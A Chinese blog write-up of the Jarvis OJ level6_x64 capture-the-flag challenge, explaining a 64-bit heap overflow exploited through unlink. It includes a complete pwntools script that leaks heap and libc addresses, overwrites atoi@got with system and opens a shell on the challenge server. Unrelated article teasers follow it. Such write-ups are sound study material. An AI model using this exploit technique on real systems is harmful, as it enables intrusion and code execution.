jarvis level6_x64堆溢出unlink拾遗
level6 32位的我没有调出来,貌似32位的堆结构和64位不太一样,嘤嘤嘤?,所以做了一下这个64位的,题目地址,level6_x64
首先看一下程序的结构体
struct list //0x1810
{
int all=;
int now_sum;
struct _note *note;
}
struct _note
{
bool inuse;
int len;
char *content;
}
然后看一下出现漏洞的edit和delete函数


所以这一个题只有一种利用方式就是利用溢出unlink实现一次任意地址写,修改atoi@got为system_addr
思路如下:
1.leak heap base计算出保存&chunk0的地址以便unlink
2.unlink
3.leak libc_base
4.modify atoi@got to system to get shell
里边的几个坑:
1.计算heap base的偏移是0x1810+3*0x90,这里调试态的堆是chunk1的fd指向chunk3 的malloc_addr,而运行态是指向chunk3的header.prev,所以计算&chunk0地址的时候需要手动调试下
2.leak heap base时recv(8)会读到0x0a回车符,并不好使,所以recvuntil('\x0a',drop=True)来读
3.构造payload的时候要注意send和realloc的长度限制
脚本如下
from pwn import * context.log_level='DEBUG'
#r=process('./freenote_x64',env={"LD_PRELOAD":"./libc-2.19.so"})
r=remote('pwn2.jarvisoj.com',9886)
elf=ELF('./freenote_x64')
libc=ELF('./libc-2.19.so') def list():
r.sendlineafter('choice: ','1') def new(payload):
r.sendlineafter('choice: ','2')
r.sendlineafter('new note: ',str(len(payload)))
r.sendafter('note: ',payload) def edit(num,payload):
r.sendlineafter('choice: ','3')
r.sendlineafter('number: ',str(num))
r.sendlineafter('note: ',str(len(payload)))
r.sendafter('your note: ',payload) def delete(num):
r.sendlineafter('choice: ','4')
r.sendlineafter('number: ',str(num)) #leak heap base
new('a'*0x80)#0
new('a'*0x80)#1
new('a'*0x80)#2
new('a'*0x80)#3
new('a'*0x80)#4
#malloc chunk4 to avoid chunk3 consolidated to topchunk delete(3)
delete(1)
edit(0,'a'*0x80+'b'*0x10)
#overwrite next chunk'header to leak list()
r.recvuntil('b'*0x10)
heap_base=u64(r.recvuntil('\x0a',drop=True).ljust(0x8,'\x00'))-0x19c0#0x1810+3*0x90
chunk0=heap_base+0x20
success('leak heap base')
success('heapbase:'+hex(heap_base))
#gdb.attach(r)
sleep(1) #unlink
payload=p64(0)+p64(0x80)+p64(chunk0-3*8)+p64(chunk0-2*8)+'a'*(0x80-4*8)+p64(0x80)+p64(0x90)
payload=payload.ljust(0x100,'\xbb')
edit(0,payload)
#gdb.attach(r)
delete(1)
success('unlink')
sleep(1) #leak libc base
payload2=p64(2)+p64(1)+p64(0x80)+p64(chunk0)+p64(1)+p64(8)+p64(elf.got['atoi'])
payload2=payload2.ljust(0x100,'\xbb')
edit(0,payload2)
list()
r.recvuntil('1. ')
libc_base=u64(r.recvuntil('\x0a',drop=True).ljust(0x8,'\x00'))-libc.sym['atoi']
success(hex(libc_base)) #modify atoi to system to getshell
sys_addr=libc_base+libc.sym['system']
edit(1,p64(sys_addr))#*(&atoi@got)=sys_addr
r.sendlineafter('choice: ','/bin/sh\0')
r.interactive()
jarvis level6_x64堆溢出unlink拾遗的更多相关文章
- linux下堆溢出unlink的一个简单例子及利用
最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记:作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正. 本文用到的例子下载链接https://github.com/ctfs/w ...
- Linux堆溢出漏洞利用之unlink
Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...
- Linux 堆溢出原理分析
堆溢出与堆的内存布局有关,要搞明白堆溢出,首先要清楚的是malloc()分配的堆内存布局是什么样子,free()操作后又变成什么样子. 解决第一个问题:通过malloc()分配的堆内存,如何布局? 上 ...
- 实战Java虚拟机之一“堆溢出处理”
从今天开始,我会发5个关于java虚拟机的小系列: 实战Java虚拟机之一“堆溢出处理” 实战Java虚拟机之二“虚拟机的工作模式” 实战Java虚拟机之三“G1的新生代GC” 实战Java虚拟机之四 ...
- 今天maven install时碰到的两个问题(堆溢出和编译错误)
问题1.maven install时出现,日志如下: 系统资源不足.有关详细信息,请参阅以下堆栈追踪. java.lang.OutOfMemoryError: Java heap space at c ...
- CVE_2012_1876堆溢出分析
首先用windbg附加进程ie页面内容进程,!gflag +hpa添加堆尾检查,.childdbg 1允许子进程调试,然后加载POC. POC: <html> <body> & ...
- 堆溢出学习笔记(linux)
本文主要是linux下堆的数据结构及堆调试.堆溢出利用的一些基础知识 首先,linux下堆的数据结构如下 /* This struct declaration is misleading (but a ...
- stm32 堆溢出
STM32 堆溢出 遇到的问题 最近在给旧项目添加了段代码,程序经常到某个状态就突然崩溃了,也不一定是在运行新代码的时候崩溃.检查了几遍代码,数组越界访问,除数为0,内存泄露等常见的问题都不存在. 原 ...
- 7.3.5 Tomcat堆溢出分析(1)
实战Java虚拟机:JVM故障诊断与性能优化>第7章分析Java堆,本章主要介绍了Java堆的分析方法.首先,介绍了几种常见的Java内存溢出现象及解决思路.其次,探讨了java.lang.St ...
随机推荐
- 虽然不抱希望但也愿.Net和Java之争暂得平息
我在刚开始学编程的时候就经常来博客园,当时博客园基本是.Net的天下,从那时开始.Net和Java哪个好就一直在打,这些年没怎么看博客园了,回来发现到了今天居然还在争论,让我不由得想来分析一下这个问题 ...
- 04 Django REST Framework 认证、权限和限制
目前,我们的API对谁可以编辑或删除代码段没有任何限制.我们希望有更高级的行为,以确保: 代码片段始终与创建者相关联. 只有通过身份验证的用户可以创建片段. 只有代码片段的创建者可以更新或删除它. 未 ...
- MySQL 字符串 分割 多列
mysql如何进行以,分割的字符串的拆分 - 我有一个梦想 - CSDN博客https://blog.csdn.net/u012009613/article/details/52770567 mysq ...
- asp.net core 2.1认证
asp.net core 2.1认证 这篇文章基于asp.net core的CookieAuthenticationHandler来讲述. 认证和授权很相似,他们的英文也很相似,一个是Authenti ...
- jQuery 事件冒泡
1 . 什么是冒泡 在页面上可以有多个事件,也可以多个元素响应同一个事件.假设网页上有两个元素,其中一个元素嵌套在另一个元素里,并且都被绑定了 click 事件,同时<body>元素上也绑 ...
- Linux基础操作文件等基础操作
作业一: 1) 将用户信息数据库文件和组信息数据库文件纵向合并为一个文件/1.txt(覆盖) [root@bogon /]# cd /etc [root@bogon etc]# cat passwd ...
- 搭建Node.js的Web框架egg.js
1 egg.js的Request处理流程: 2. 使用nodejs下载egg.js框架 (1)现在nodejs中全局安装egg-init 即在nodejs安装根目录下执行 : d:cd nodejs ...
- 函数遍历DOM树
//获取页面中的根节点--根标签 var root=document.documentElement;//html //函数遍历DOM树 //根据根节点,调用fn的函数,显示的是根节点的名 ...
- 自己实现ArrayList与LinkedList类
ArrayList与LinkedList的底层实现 ArrayList内部由数组实现,LinkedList内部由链表实现. 自己动手实现ArrayList与LinkedList中一些常用方法 Arra ...
- .Net Core实践1
实践目标 编写经典的hello world程序.使用.netcore框架,然后运行在linux上. .netcore目前已经是2.1版本了,可以简单的认为是一种跨平台的.net framework,除 ...